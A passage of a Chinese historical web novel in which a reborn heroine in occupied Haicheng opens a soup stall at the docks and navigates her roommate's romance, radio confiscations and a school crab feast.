不该省成这样,但菜市场的米和肉一天一个价,比着高地涨,吓得她每天都要数遍钱才睡得着,哪敢真海起来吃? 两姐弟海吃海塞,不小心就吃撑了。 吃了这桌席,王氏兄弟眼看着更高兴了些:小顾姐肯吃他这一顿饭,这件事必然是揭过了的。 王老六兴奋过头,竟提着酒壶还想伺候春妮喝一盅,叫她眼神一吓,一身冷汗流出来,酒醒了一半。 春妮跟王家兄弟周旋这么久,无非是想听听自己平时很难得到的消息。 海城的情况比她上一世待的末世复杂多了,光是城西的势力,王老六去了这段时日,他都说不清有多少股。而且据王老六说,红帮在城西势力一般,也就一两个中下层赌档,他们这些小喽罗知道的也很有限。 王老六说,那些高档赌档,如今都租在城西的高档花园,花园里头怪石流水,庭台楼榭,怎么奢侈怎么来。而外边买不到的洋酒洋烟洋女人,这里应有尽有。那些赌档背后的老板,要么跟76号有关系,要么是市府的人,或者干脆就是像他们一样,大帮派直接派人来经营。 他还说了些76号的情况,言谈间颇有不驯。说76号如今的头号打手娄大成以前不过是江北一个小帮派的头领,打架斗殴,绑人勒索,概不能成,帮里的兄弟穷得被人到处当狗撵,以前见了面要给他们红帮大头领敬烟。如今傍上76号这个主子,有了枪和钱,竟行市起来了。 后边王老六待还要吹牛,春妮已经不想再听下去,让兄弟几个撤席后,带着夏生回了家。 不过王老六说的枪,倒让春妮动了心思。 她空间里原先有些枪支和弹药,但很有限。即使在末世,枪支弹药也是管制武器。只有出任务时才准许携带,回来之后便要如数上交。春妮抠抠攒攒,加上前段日子在战场上拣拾,也只有二三十条枪,晒干后,勤加保养也能用。至于战场上的弹药,都浸了水,自然是用不得的了。 如果有机会弄到这些东西,尤其是与那长枪相配的弹药,自己往后去哪就不怕了。 可现在打算这些事为时尚早,王老六这人她又信不过,得观察段时间再说。 ………… 照说夏生姐弟两个吃完席,又散步消了会儿食,回来得已经算晚,回家之后,她发现吉拉太太面包房的灯还亮着。往常他们八点就关门,这会儿都十点了,他们还没回二楼吗? “吉拉先生太太,都还没睡吗?” 吉拉先生能说些简单的华语。他端着咖啡,眉头皱起来:“睡不着。” 詹姆斯则摩挲着手边的黑色电台,电台里放着首不知名的外国歌。 他说:“刚刚倭国的巡警们来通知,说各家各户明天开始,要统一上交电台。我们家电台刚买不到三个月,还没听过几回,我们在跟它做最后的道别。” 吉拉先生因为来海城来得早,靠着族人们的帮衬,日子过得算不错。家里自行车,电台,电话,海城小产业者该有的家什器物他们一家尽有。 反倒是春妮这个纯粹的无产阶级一身轻,她等夏生安慰几句大受打击的约瑟夫,带着弟弟回了三楼。 却没想到,打开房门后,小小阁楼里空无一人。 隔壁朱先生房里,电台也在缠绵地唱:“天涯呀海角……” “咦,萍姐姐呢?她不是说她明天才回家吗?” 学校放假提前了一天,中秋节在明天。夏风萍前些日子跟家里闹得很僵,即使放了假,也在小阁楼窝着不敢回家。她跟春妮说,她的打算是,明天过节,父母对她再不满意,也不会在过节当天把她赶出去,她只管明天一早带着选好的月饼礼盒赶回家就好了。 春妮站在门口发了会儿怔,夏风萍不会不吱一声就夜不归宿,她这是……旁边朱先生房门打开,暖绒绒的灯光透出来,夏风萍在门里冲她招手:“你们回来啦?快进来听歌吧。” “都大半夜了,你不回来睡觉,跑到朱先生房里做什么?”春妮站在门口盯着她看。 阳台夜谈会随着气温渐凉,早在半个多月前就结束了。海城秋天已到,人们早就穿起了薄外套,哪里还需要趁夜在外头歇凉? 夏风萍就叹了口气:“你回来得晚,不晓得今天倭国巡捕来了一趟,往后私人家里不许放电台。朱先生的电台明天就要交上去了,咱们今天最后听一晚上,跟它好好告个别吧。” 话虽如此,春妮总觉得有哪里不对劲。 因而进了屋着意观察,果然发现了许多平时未曾注意的细节。 夏风萍倒是不觉,将姐弟两个拉进屋,从朱先生房间的立柜里抱出两个蒲团放在他床上拍拍:“快上来吧,你想听什么歌?” 朱先生的床榻跟寻常人家不同,有些低矮。据他说,这张床原本是他倭国上司家里不要的一个旧塌塌米。塌塌米上放个矮几,几人取蒲团绕几而坐,不用再占位置便是招待客人了。 夏风萍摆好蒲团,将自己原先的那团向他那里挪挪,自然而然地接过朱先生递过来的茶团掰碎:“听歌时吃些茶点最好。” 朱先生则道:“可惜今晚风大,不然搬条圆桌到阳台上,也别有一番意味。” 春妮在矮几上拣了颗花生豆吃:“我们俩都是小孩子,不好在夜里喝浓茶,你们自用吧。” “随你。”夏风萍顺手将茶团递还给朱先生,朱先生十分自然地将茶团放回茶罐中。 这要是再看不出来,她就是个真瞎子了。 一首歌听完,春妮拉着夏风萍回了房:“再不睡就到明天早上了,你明天不还回家吗?早点睡吧。” 夜里,听着夏生均匀的呼吸声,春妮忽然问:“你们俩什么时候开始的?” “什么开始……”夏风萍没反应过来,她果然没睡着。 “你和朱先生。” 夏风萍“呀”地一声,冲她这边翻个身:“你发现了呀?那你觉得朱先生怎么样?” 春妮借着老虎窗透下的月光看她。这女孩子眉目含水,唇边不笑也含三分情,果然是动了春心。 两人这数月都躺在一张床上,春妮知道,这位夏小姐并不是头一回恋爱,也不知道,她对朱先生到底动了多少情。 她斟酌着道:“你不是最讨厌倭国人?朱先生给倭国人做事,你不在乎吗?” “我是讨厌倭国人,可朱先生是个好人。他只是在倭国人手底下的报纸做事,你别说得像他出卖了我们华国人什么似的,那不一样。” 春妮知道那当然不一样,可她想起自己曾无意中窥到的事情,心知朱先生的身份不是这样简单。海城情况这样复杂,谁知道他背后又站着什么人,在做什么事呢? 夏风萍是经历了些事,要论玩心眼,说不定她连夏生都比不上。 不对,说到夏生…… 春妮恍然大悟:“是不是夏生早就知道你们之间的事了?” 夏风萍目露惊讶,忽然抿嘴一笑:“你猜到了?” 春妮哼了一声:“我说难怪这些日子你们俩这么勤快,天天给夏生折馒头纸袋,就是因为这件事吧?合着你们几个就瞒着我这个傻子呗。” 夏风萍忙道:“我不是有意要瞒你,不过那时候我自己都还没想明白,才叫夏生先别 跟你说,你别恼我们嘛。” 春妮忽然不想说话了。 第二天,巡捕们来收缴电台时,春妮看朱先生老老实实将他房里的电台交出来,心道:没有电台,恐怕会对他造成很大的麻烦吧? 不过春妮也就是在心里想想。 她在末世中学到的最宝贵道理,不多管旁人的闲事。夏风萍是个成年人,她拿定的主意,连她父母都劝不回来,自己这个认识不到三月的朋友,又能真正对她有什么影响呢? 不知道是不是夏风萍跟朱先生说了什么,两名男女挑个两边都有休息的周末,来约姐弟两个一起去英租界的好莱坞游乐园看戏。 春妮虽还气他们几个合伙瞒着自己,但戏是要听,园子是要逛,朱先生的钱包也是要狠狠使他缩个水的。于是,在到达海城三个月后,夏生在这一天终于玩到了心心念念的旋转木马,开心得一整天都没合上嘴。 转眼,学校到了开学的时间。 开学的前两天,春妮有了个意外之喜。 第39章 039 意外之喜 春妮的这桩意外之喜来自口福。 秋风送爽膏蟹肥。 靠江吃江, 靠海吃海,海城人有金秋吃蟹赏菊的风俗。若是往年,八月刚到, 城里城外的富商豪绅们就该开起大大小小的赏蟹宴。 今年自然是不行的。 不说国土沦丧, 百姓沦为侵略者的猪狗,没几个人有心情赏花赏景地折腾,就说像前些日子那样,今天收电台,明天查敌踪,后天再搞个防空演习。万一有个什么突发状况,请一屋子客人来, 不是给自己找麻烦吗? 现在的海城人,不是真的至亲好友, 或是应酬需要,大家都不爱朝别人家里跑。 这只是表面原因,更要紧的,早在春妮到海城时, 市面上就有断续的传言,说倭国人会接手市面上所有的米粮来源, 将其运往前线支持军需。至于海城人吃什么喝什么,他们是不会管的。 这个传言当然有夸大之处,但空穴来风, 未必无因。因为自从战争开始,倭国人到现在一年多了, 对海城的水路管制都没放松, 外面的物资进不来,里面的出不去, 引得市面上所有的物资,尤其是跟米粮相关的物资价格节节攀升,简直一天一个价钱。 因为海城是全华国最大的面粉集散地,所有进口面粉都会集中到吴江口一带进埠,加上海城原本的储备量,到目前为止,面粉价钱涨得还不算夸张,春妮的馒头生意也勉强做得。 但大米价格就不得了了,倭军占领的这一年多里,一担米价从战前的十七八块涨到五十来块钱,疯涨三倍之多。这个价钱只是针对币值相对稳定的银元,龙洋和鹰洋来说,如果用法币去买粮,这个价必然是打不住。 现在海城的普通市民们,只要手里有点钱,谁不会先去米粮店里买点粮食囤着安心?谁知道倭国人会不会真的发了疯,哪天收走了所有市面上通行的米粮?就连春妮,她上下两辈子囤了这么些粮,每次请米粮店小伙计送做馒头的面粉时,还会预留一两斤面粉下来以备不时之需。 总之,有点钱就囤粮,那绝对不会错。不囤?不囤心里不慌吗? 因为市民们都在囤粮囤货,今年的大闸蟹不出意外滞销了。 中秋假期快结束的前两天,去学校值班的夏风萍给她带回来个消息,说王老师乡下亲戚原本有个小堰湖在养蟹,结果因为以前的老主顾死的死逃的逃,收来几大车膏肥肉厚的螃蟹,过了中秋好几天都没几个人买,委托王老师帮他们找找出路。 王老师一问,往常三毛钱一只都打不住的上好大闸蟹,现在一只只要一毛钱,买得多的话,一二两的青壳蟹,八分钱一斤也卖的! 现在一斤肉都要好几毛呢,这可是天大的便宜! 王老师来学校一说,几位老师都动了心思。这些老师们是本地人,每月薪资固然微薄,可好在除了王老师已经结婚需要养家,其他人都有自己的房子住,且单身没有家累,咬咬牙,几只便宜的蟹还是买得起的。又因为王老师的那位亲戚只批发不零卖,老师们便商量,几个人一人出点钱,买两大篓回来做自己吃。 几名老师商量时,方校长也在旁边。他听得动了心思,破天荒拿出三块钱,说学生们帮着印了这么些天的书,他没什么可酬谢的,正好搭老师们的便,请学生和老师们一起吃蟹。 最后兴奋的老师们商量,自己再单独凑出一块钱,买来些瓜果黄酒,决定好好办一次蟹宴! 原本春妮听说学校要办蟹宴,每个人需要摊钱,心里是不愿意的。她老家有条小河,小时候也不是没干过那抓鱼摸蟹的勾当,一只偌大的螃蟹夹不出一筷子肉,因为太费柴禾,他们村最穷的人家都不喜欢烧来吃。 但她不愿意,耐不住身边有个见多识广还好吃的夏风萍,她不停形容螃蟹有多好吃,彻底勾起了夏生的馋虫,春妮缠不过他们两个,只好随分子出了两毛钱。 因为老师们另外出了钱,校长好人做到底,准许每位老师每人另外带两名家眷入场。 春妮原本以为夏风萍会带朱老师,结果晚上回家,她来同春妮商量,这次的蟹宴,她想带她父母来参加,至于朱先生,只能请春妮帮帮忙。 从夏风萍口中,春妮对夏家的两位大家长风闻已久。她很好奇,夏风萍怎么说动她父母来参加一所穷学校的蟹宴。 夏风萍叹气:“这次我回家,看见我爸爸老了很多。妈妈私底下同我说,上次他撵我出去,好几天晚上没睡好觉。他们早就知道我住在哪,说不定偷偷来看过我……学校里请得起老师吃蟹宴,至少不是这么差。我让爸爸妈妈来看一看,也好让他们放心是不是?” 春妮垂下头,鼻头有点酸。 夏生丢了手上的画报,眼泪汪汪地抱住她:“姐姐,我想娘了。” “别打电话,明天你叫辆车,穿体面点,直接去家里接二老过来吧。”春妮说。 ………… 在春妮的想象中,夏家的先生和太太至少是有些封建式大家长专横的。 显然站在她旁边,跟她一同提前到学校等候的朱先生跟她有同样的看法:“怎么还没有来?难道夏先生他们不愿意来?” 话音刚落,一辆黑色福特轿车从西边驶来,在两人面前停下。 夏风萍扶着一位年约四十岁的中年美妇下车。 这位妇人戴着顶有羽毛的驼色有檐纱帽,露出的秀发弯曲到颈项,耳垂上两枚绿色宝石在日影下微微放光。视线再往下,她穿一件到脚面的同色薄款风衣,钮扣不扣,里头是件紫色印花的香云纱旗袍,旗袍上佩一条到胸口的珍珠链子,足下一双裸色高跟鞋,竟是位身材窈窕,相当摩登的现代女性。 倒把她旁边只是一身夏布竹纹秋香色旗袍,穿着黑色方口系带布鞋,略显朴素的女儿夏风萍衬得像个丫鬟一样的了。 春妮捅了捅朱先生,后者如梦初醒,绕过汽车屁股,想去扶住另一边穿灰黑色中山装,只一条金色表链露出口袋的夏先生。 夏先生果然不那么好说话,他抬起手杖轻轻那么一挥,便将朱先生拦在了半路。 夏风萍急忙出来活跃气氛:“爸爸妈妈,这就是我常跟你们说的,同我住在一起的好朋友顾春妮。这是我们的邻居朱家辉朱先生。” 夏氏夫妇还是给了女儿那么点面子的,夏先生对春妮轻轻一颌首,夏太太则挽住春妮的手,笑道:“你没跟我说过,你的这位好朋友还是个小朋友。” 夏风萍对朱先生使个眼色,笑着道:“妈妈你别看春妮年纪小,她办事可稳重,不能小瞧了人家。” 夏太太点点夏风萍的鼻头,嗔道:“人家一个小姑娘都比你稳重,我瞧你羞不羞。”也不冷落朱先生,问着“朱先生在哪高就”之类的话,几人谈谈说说进了学校。 其他师生们早就到场,夏家一家人进门后,蟹宴便即宣告开始。 方校长为了今天的这一场大宴下足了本钱,不止买了几大篓螃蟹,还说为了应景,从他好友那里借来几十盆菊花摆放在校门口和课桌拼凑的餐台旁。膏黄脂腻的螃蟹伴着红的金的菊花,连春妮这个只会牛嚼牡丹的俗人也品出了几分雅香。 不过赏菊再要紧,也比不上多吃两口螃蟹。春妮还在学着胡老师几位老餮笨手笨脚剥螃蟹,夏氏一家人比她适应地更快。夏先生一身考究的中山装,端着一个粗瓷碗,同方校长谈笑风生,竟也没有多少违和,而夏太太在女儿的引领下,也将学校的老师和他们的家眷们都认识了个遍。 宴至中途,夏生早就端着盘子同他熟识的小伙伴混到一起,举着蟹螯斗成了一团。 春妮吃完自己分到的那几个蟹,见其他人都在忙碌,也不打扰他们,离开席位,坐到了教室前的石阶上。 除去王地主娶儿媳妇那回,这次的蟹宴是她两辈子以来参加过的最大的宴席,大伙都很开心,她也很开心。不知道是不是末世后遗症,到这一世以来,春妮时常有种错觉,人不能太开心,一旦开心过了一头,那些美妙的经历就会像梦幻一样,轻轻一戳,就破了。 “顾小姐不开心?”夏太太蹬着高跟鞋走了过来。 春妮笑了笑,她跟夏太太刚认识,不知道对她说什么合适。 夏太太却收起了脸上的笑,在她旁边坐下:“其实我也不是很开心。” “夏太太还是在生夏小姐的气吗?”春妮寻思着,她这会儿不说话怕是不合适了。 夏太太脸上疲态毕露:“只是一个母亲的不甘罢了。我们当母亲的,总是希望孩子一生平平顺顺地过去,什么磨难都不要有。可萍萍她一定要选择一条这样注定崎岖的路,我怎么开心得起来?” 春妮更不知道说什么好了:夏太太说的崎岖的路,是她好不容易才得到的。 好在夏太太不是会使人尴尬的人,她自嘲地笑了笑:“瞧我,跟你个孩子说这些,怕是喝多酒生了魔瘴。” 说着,她身子打了个晃,想要站起来。 春妮连忙扶她一把,她就着春妮的手撑起身子,细瘦的手指凉得像她腕间的翠玉。 这位母亲不像她表现的那样无懈可击。 春妮觉得她应该说点什么:“夏太太,我曾听过这么一句话,理想是人生的太阳。对夏小姐来说,或许追逐太阳比平庸的生活更重要。” “是吗?”夏太太低下头,慢慢用手熨平风衣上的褶皱:“可每天那么多人都平庸地生活着,她为什么就不行呢?” 春妮张口,夏太太作了个制止的动作,或许她是真的醉了:“小姑娘,不要跟我讲道理。我活了这么些年,听过很多人讲道理,你要说道理,我比你还会讲。我只是想不透,她为什么会一心进这个坑里?你说她追个名,逐个利我都能想办法助她一臂之力,可她为什么跟我们都不一样,非要发了癫,追那理想?一百多年了,那理想害了多少人,如今他还想来害我的女儿,我——” “太太!”夏先生走过来架住她:“你喝多了。” 夏太太抬手掩住自己的半边脸,低低道:“啊,喝多了?顾小姐,我没吓到你吧?” 春妮此时心头涌动着许多话要讲。 在坐的人中,没人比她更明白,华国一定会从这场战争中取得胜利。 正是怀着这样的笃定,这个年代人们的努力,挣扎,沉沦,疯狂,一切的行迹在她眼里就像隔着一层纱一样,她始终无法真正感同身受。 对啊,她怎么忘了,在她来之前,华国已经衰落了一百多年,被人踩在脚底下打了一百多年? 夏太太忽然打碎了这一切,她作为母亲的痛苦,她隐忍的挣扎如风中的纱帘,向春妮吹开了一角。 春妮也是有了妈妈的人,她舍不得让妈妈如夏太太一样痛苦。 可夏太太原本不该这样痛苦,夏风萍的人生也不该这样崎岖。山河破碎,国将不国,是谁造成了这一切……方校长的问话如黄钟大吕,在春妮脑中隆隆敲响。 她不自觉地向自己发问:在海城,像夏太太这样的人有多少?在华国,像夏太太这样的人又有多少?他们的痛苦要持续多久才见得到曙光?这漫长的等待什么时候才是尽头?他们中有多少人等得到这一天? 春妮悚然而惊。 她忽然发现,她以为自己站在山巅上尽览真相,其实她何尝不是站在悬崖上,如今探头一看,只觉头晕目眩。 她曾经站在历史的下游,可她现在逆流而上,已经是历史的一员。 夏风萍做出了她的选择,那么她呢? 第40章 040 回味无穷 吃完蟹宴, 再过一天就是开学的日子,也是春妮小摊子改头换面上新品的头一天。 因为决定在码头好好干下去,春妮原本临时支的摊位再不能跟以前一样随便糊弄。开学的前一天, 她带着夏风萍和李德三两个人去先行布置了一番。 德三说他会扎草棚顶子, 春妮让他提前几天找几个拾荒的难民,在城西近郊处收来一大捆稻草,耆草和白茅草晒干,让德三在家扎成几大块草棚卷顶。她自己则去苏南淘到几根烂木头打出四根木桩,架出一个简单的房梁,将草棚卷顶往上一铺,再拿红纸剪出“恭喜发财”四个字分别贴在四根立柱上, 一个简单的棚子便做成了。 开业那一天,方校长从朋友那里借来的菊花没来得及还回去, 正好方便了春妮“假公济私”。她请两位留守的男老师帮忙,搬来几盆红红的蟹爪菊围簇在中央,再用几盆金金的金丝菊点缀在南方财位。 这样一布置,就有闲人围上来问:“小顾姐, 忙活啥呢?” 因为倭国军队就在三百米开外,炮仗是不敢放的。离江浦码头这么近, 万一倭国人以为你在打枪,过来找茬怎么办?夏风萍找到个没用过的洋铁皮盆子翻过来,临时用个扳手当锣锤, “邦邦邦邦”地叫开了场。 “告知各位父老乡亲,从今天开始, 我们的凉粉摊子就正式转了行。咱们转行做什么呢?包子,馒头,胡辣汤, 都是我们小顾姐的手艺,是沙北省最正宗,最实在的口味……” 别说,夏风萍豁出去的叫唤这一出,效果还真不错。没一会儿就来了些人:“小夏姐,包子馒头我们都知道,胡辣汤又是什么?” 夏风萍捅捅春妮,春妮给盛出一碗让众人观看:“胡辣汤是我家乡的汤食,咱们力夫们苦啊,大冷天的在江上吹冷风,上码头干活,这时候肯定最想喝口热乎的汤,对不对?我做的胡辣汤,汤鲜味辣,喝一口,从嘴里暖到心里,要不要来尝尝?对了,里头还搁了肉呢。” 她这么一说,有人就退缩了:“原来是辣汤啊?那对不住了,我不吃辣。” 江浦码头这一带的力夫按地域大致分分为三类。一类是因为苏北水灾逃荒来的苏北人,再一类则是因为北方兵乱逃来的北方人,第三类才是本地下层百姓。春妮先前作过粗略的调查,这三类地区的人的确都没有嗜辣的风俗。 这会儿她不慌不忙笑道:“大哥,你别急啊。我的这个辣汤可不是用的辣椒调味,而是用的胡椒。你不吃辣椒,胡椒能吃伐?这天一天比一天凉,咱们在码头做苦力的,多穿两件衣裳怕磨坏,再不吃的喝得暖和点,身子骨哪熬得住?” “那……一碗多少钱?” “不贵,三分钱。” “哟,跟你那凉粉一个价?三分钱卖得这么低,你不赚了?” 春妮笑道:“凉粉只是个吃着玩的玩意儿。胡辣汤是要当成主食的,大哥们偶然买一碗三分钱的凉粉能消费,若是我胡辣汤卖五分钱,你会不会天天来吃?” “五分钱,跟杂合面馒头一个价,又不顶饱,那我 还来吃什么?小顾姐,你家馒头怎么卖?还卖七分钱一个?” “哪啊,说了要在这扎根做实惠生意,可不敢再卖贵了叫大伙戳我脊梁骨。不瞒大家,我们家如今做的也是杂合面馒头,一个五分钱,不过在我这吃馒头,这些泡藕,泡黄瓜,泡萝卜和小咸菜,大家喜欢什么搛什么,随便吃。” “不错不错,小顾姐这么实惠,那我陈老三肯定要来捧个场。给我一碗糊汤粉,两个杂合面馒头。” 这位陈老三是码头的一个小管事,时常来她这喝凉粉。因为是熟客,有时候春妮有多余的蜜饯果子,会给他多加几个,当作是老客福利。 他也很会做人,喝完一口胡辣汤,大声赞道:“好喝好喝,还真有肉啊?小顾姐,这里头是什么肉?” 春妮脸红道:“不过一点鸡杂和羊杂,大哥别嫌弃。” “有什么好嫌弃的?这年头,三分钱想沾到点肉腥味,哪有这么好的事?是哥哥我占了你的便宜。”又问:“你这碗里疙疙瘩瘩的咬着筋道,不是白面疙瘩啊?” “是,也不是,”春妮卖了个关子:“大哥可以猜猜。” 还猜什么猜啊。 一边围观的人听见两人套瓷似的一问一答,早按捺不住了:“给我来一碗尝尝,我倒要看看,是不是真的这么好吃。” 李德三也行动了起来:“大哥大叔们,这边坐,不用挤,餐点马上就来。” 为了小摊子能够一炮打响,三个人前几天可是费了不少心思。 李德三跑东跑西,好不容易联系到一间鸡厂,答应给他们供应稳定便宜的鸡杂。头一天下午,夏风萍也找到一间西北羊肉馆子,跟他们买到几斤新鲜的羊杂,凑足了胡辣汤噱头最足的两样料头。 其实春妮版的胡辣汤,配菜可以根据时令更改,最关键的是红薯粉丝和面团。胡辣汤的色靓爽滑,汤汁浓稠,原因就在面团上。 揉好的面团饧发十分钟,放进凉水里反复搓洗。揉出面筋之后,洗面粉的水加入进煮开的粉丝料汤中缓缓搅动,水快开时,再将面团搓成虾米大小的小团洒入成品之中,做到汤中有面,面中有汤。 不过这一步春妮偷了懒,她去铁号里订制了一把刮丝菜板,将面团放在上面反复揉刮,也能达到这样的效果。 喝一口爽滑暖胃,嚼一嚼余味悠长,这就是成功的胡辣汤。 做的最好的胡辣汤,在喝完数十分钟之后,口中都还存留着辣意,这分辣意热烘烘直抵胃部,为这些朝不保夕,忙起来总是吃不上热饭的苦人儿提供那一点温暖。这种纯粹来自胡椒和姜片的辣味温和醇厚,没有辣椒那样霸道烧灼,更容易使人接受。这碗汤在春妮的家乡,尤其是沙河旁的码头边相当受欢迎。 天下吃码头饭的力气人中,总有些口味是相通的。正是出于这点考虑,春妮才决定这碗汤作为她转行的第一炮。 别看小小一碗汤不起眼,能做到好吃到让人回味无穷,需要的功夫并不比一道大菜差,差一点就是谬以千里。 看着这些力夫们坐在板凳上谈笑风生,还有人无师自通地将杂合面馒头掰碎吸足汤汁,春妮揩着汗,轻轻舒了口气。 春妮的馒头卖到中午就不再卖,而胡辣汤的生意一直做到晚上八点,直到等晚工的力夫们陆续都去往码头,她招呼着夏风萍和李德三往学校里搬着桌椅板凳,算是完成了一天的工作。 夏生放下功课,跟在大人们身边忙东忙西,小嘴还不停叭叭:“姐姐,明天还做到这么晚吗?” “当然了,你认准了,以后这一小块地方就是咱们的根据地,只要有人买,咱们就要一直摆下去。” “江浦码头每天半夜都有人上货卸货,难不成我们以后要守一晚上?”夏风萍揉着肩膀,胡辣汤需要一刻不停地搅动,不像凉粉那样省力气。 这一天把她累惨了,再这样下去,她撑不住。 春妮没把话说死:“先做两天看看。” “还要做两天看看?”夏风萍夸张尖叫:“学校天天要熬夜印刷,你也要熬夜熬汤,你累死我算了!” 春妮白她一眼:“放心吧,我累死我自己,也不会累死你。你个大姑娘半夜守在棚子里卖汤,我怕夏先生知道后,举着手杖敲我脑袋。” “我可以夜里守在棚子里。”李德三表态说:“反正我在苏南住的地方已经被占了,正好住在棚子里,顺便帮着看铺子。” 夏风萍只能服气:“你们都是铁人,我这个凡人还是不要自讨苦吃了。” 春妮却同李德三道:“不用这么着急,你先住在王家,等这边安顿好了再说。” 回家之后,才是盘点今天收入的时候。 这是两个姑娘卖凉粉那会儿就经常做的事,杂合面馒头做了多少个,卖出多少个都是有数的。算一算就明白,今天主要算的是胡辣汤的收支问题。 夏风萍将昨天买材料的钱核算出来时,春妮恰好数出了今天卖胡辣汤的钱:“四块八毛八,你刚刚说成本多少来着?” “三块三毛四。”夏风萍将帐本往桌上一扔:“从五点开始,忙活一整天,卖了起码一百三四十碗的汤,才赚不到两块钱,平均一碗一分钱。跟卖凉粉比,这利薄得像做善事似的。以后摊子固定下来,怕是英国人马上就会来收咱们的摊位费了。” 春妮笑:“咱们才是第一天,这个利是正常的。你看对面那家卖馄饨面的,我瞧最多五分钱的赚头,可他一天卖得出五十碗吗?” “五分钱总比一分钱赚吧?” “不是这么算的,”春妮道:“你忘了他一个月要上交五成利给红帮?” 她见夏风萍不语,觉得应该再说些话:“这两天,我总想着,世上苦难的人这么多,像这些力夫,很多人年纪轻轻就一身的病。我力量有限,做不了多的,至少可以做到为他们熬一碗便宜的汤,让他们即使在寒夜里也能喝一碗暖胃。” 夏风萍仍是没说话,春妮有些急了,又说:“我不会只做善事不考虑自己的情况。我想好了,夜里温汤费柴薪,咱们的汤可以卖四分钱一碗,这总行了吧?” 夏风萍握住她的手,笑了:“方校长没白教你,这是好事,你该早跟我说清楚的。”她神色纠结片刻,却道:“以后你跟德三干吧,我就不去了。” 春妮一怔,试探问道:“你是怕我请不起你?” 夏风萍没出声,春妮就知道自己猜对了。 她不由笑了:“你不会以为,我只准备熬个胡辣汤就算了吧?” “那你还准备做什么?”夏风萍精神一下回来了。 40-50 第41章 041 人间奇葩 到十月份, 春妮新开的两样生意完全稳定了下来。 胡辣汤白天最高卖到三百碗左右,晚上断断续续,有时居然也能卖一两百碗, 这是春妮和夏风萍三个人都没想到的。 现在三人的分工也逐日明确。 一般是李德三值夜班, 春妮和夏风萍两个姑娘做白班。白班不忙,或是遇到学校放假,就由夏风萍负责售卖洗碗,春妮只负责做食物。有夏风萍顶上,春妮可以在晚上替换一次李德三,在换班前顺便将白天的馒头都做了,这样她也会有一个白天的休息时间。 但夏风萍白天事也多, 有时晚上还要帮学校印教材,这个小食摊子的经营主力还是落在春妮肩上。 海城因为地处东南, 即使这会儿深秋将近,春妮在小棚子里守一个晚上,也不会感觉很冷。 相对白天班,值晚班不需要随时守在摊子前边, 有人来买,在外头招呼一声就是。更熟一些的客人, 自己乘汤,自己付钱。春妮名声在这,没人敢赖她这仨瓜俩枣。 李德三在棚子靠里的地方搭了个简单的床铺, 春妮晚上值班也在这休息。她有时候睡不着,着意观察那些半夜三更来买胡辣汤的人, 两三个晚上 下来,心里就有了数。 原本江浦码头上下货都尽量集中在白天,即使有船半夜靠港, 一般也会等到早上再下货,但两种情况除外。 一种自然是卸完货就要走的急活,这种船主急着离开,出的价较白天也略多。另一种,则是专门趁夜走私货物的走私贩。 据春妮的观察,这些走私贩们走私的货物很多,洋烟,洋酒,奶粉,丝袜,洋铁皮……现在倭国人封锁整条水路,正常途径的货物很难进关。海城又是远东最大的关口城市,只要东西能运进来,不愁没有销量。因此那些走私的东西,只有想不出来的,没有走私不了的。 而这些走私的货物中,其中神秘的绝对是烟土。 以前政府禁烟,大家反而不太敢在这种大码头搞事。倭国人不管这些,但因为什么货物都进不来,他们又不想担上贩卖毒|品的名声,烟土也被拦在外边,还是得用以前的旧办法偷运。其实都是半公开的秘密,守在码头的倭国人收取了商人们的好处,乐得睁只眼闭只眼。 后边再熟悉些,那些负责搬运的力夫们透了些实底。告诉春妮说,洋烟洋酒趁夜搬取就是,烟土却一般用油布包起来,拴在轮船的尾端进港。烟土贩子们一般守在岸边用勾子将箱子勾起来,甚至还要下水检查遗漏情况。 他们的工作需要沾水,也特别喜欢在干完活后来春妮的摊子上喝上一碗暖和的汤水。 春妮:“……” 晚上光顾的客人中,除了以上两种,剩下的就是在附近地下赌档里通宵开赌的赌徒们和流莺。这些聚赌的人有一些是白天在码头干活的力夫和短暂停靠的水手,其中大部分是单身汉,被人引诱两句就落了縠。还有的是流莺联合赌档做局,将嫖客拉进赌局,自己从中取利。 这些苦力们白天赚的钱,不用出码头,到晚上就输了个精光。 春妮值晚班的那几天中,看过的人间悲欢都够写好几本书出来。 趁着天不太冷,她还将夏生拉过来,让他看看那些人的下场,时刻教育他什么能做,什么不能做,自觉自己这个姐姐做得实在太到位了。 至于为什么赌客们喜欢到她这来喝汤,春妮知道后无语了半天。 因为她的汤叫胡辣汤,赌客们不知什么时候传言说,这是“胡啦汤”,喝了这汤有个好彩头,一定会旗开得胜云云。 春妮:“……”除了人间悲欢,这里的人间奇葩也是真的多。 不过春妮的汤卖得好,也是因为这附近因为战争被严重毁损过,环境又太乱。除了她,没人敢在半夜三更还做生意。 夏风萍自从跟文艺青年谈恋爱,说话就越来越文艺。 她说:“你想一想,身处在这种危机四伏的地方,伸手不见五指,前后不见人烟,忽然发现,还有一盏昏黄的小灯在路的尽头等你,小灯的所在,是一碗温暖的汤。你孤寂疲惫的心会不会有些许动容?” 春妮微微一笑,将灯芯拨亮了一点。 ………… 因为忙活新生意,春妮有好长时间没往吴江大学跑,结果常先生并没有放过她。竟专门派常文远给她送了两回书,还托他带话,叮嘱她无论什么时候都不能忘了读书。 春妮欲哭无泪:“……”为什么我身边的人都比我自己在乎我的学业?不过,常先生不在,想必也不会有考试了吧? 常文远立刻打碎了她最后一丝希望:“伯父,呃,常先生托我问你几个问题。唐王朝为何会发生安史之乱,宋朝为什么一定要收回燕云十六州,王安石变法……” 春妮欲哭无泪:“不答行不行?” 常文远微笑:“那你是想常先生拖着病体亲自到学校来找你?”他取下钢笔,给她拧开:“把答案写出来,我带回去给伯父看。” 春妮只好在满棚的“承惠,一毛三分钱”“小夏姐,你动作快点”“找钱找钱,还差我两分钱”吆喝声中展开白纸,接受了来自常先生的第一次书面考核。 环境这样特殊,以至于她答了什么,在她交上卷子的那一刻就忘得差不多了。 春妮望着被常文远折好装进西装口袋的卷子提心吊胆,若是答得不好,常先生可千万别真的追到学校来寻她,她丢不起这人! 不能再想下去了,从今天开始,再多加一个钟儿读书吧! 春妮生怕他还有花样在后头,忙问他:“常先生这段日子筹备的事情准备得怎么样了?” 常文远使了个眼色,春妮会意,跟他走出来,离人群远了些。 他先宣布了个好消息:“倭国人答应退还我们一部分教学设备。” “书呢?” 常文远摇摇头:“还在谈判中。倭国人认为伯父在借机要胁,他们非常恼火。” 就知道不会有那么顺利。方校长跟春妮讲过,去年倭国人轰炸海城,第一个遭殃的,可是华国最大的民间藏书馆——商务印书馆。 倭人灭我华夏历史,断我华夏传承早有预谋。 春妮担心道:“那常先生是不是还有什么危险?” 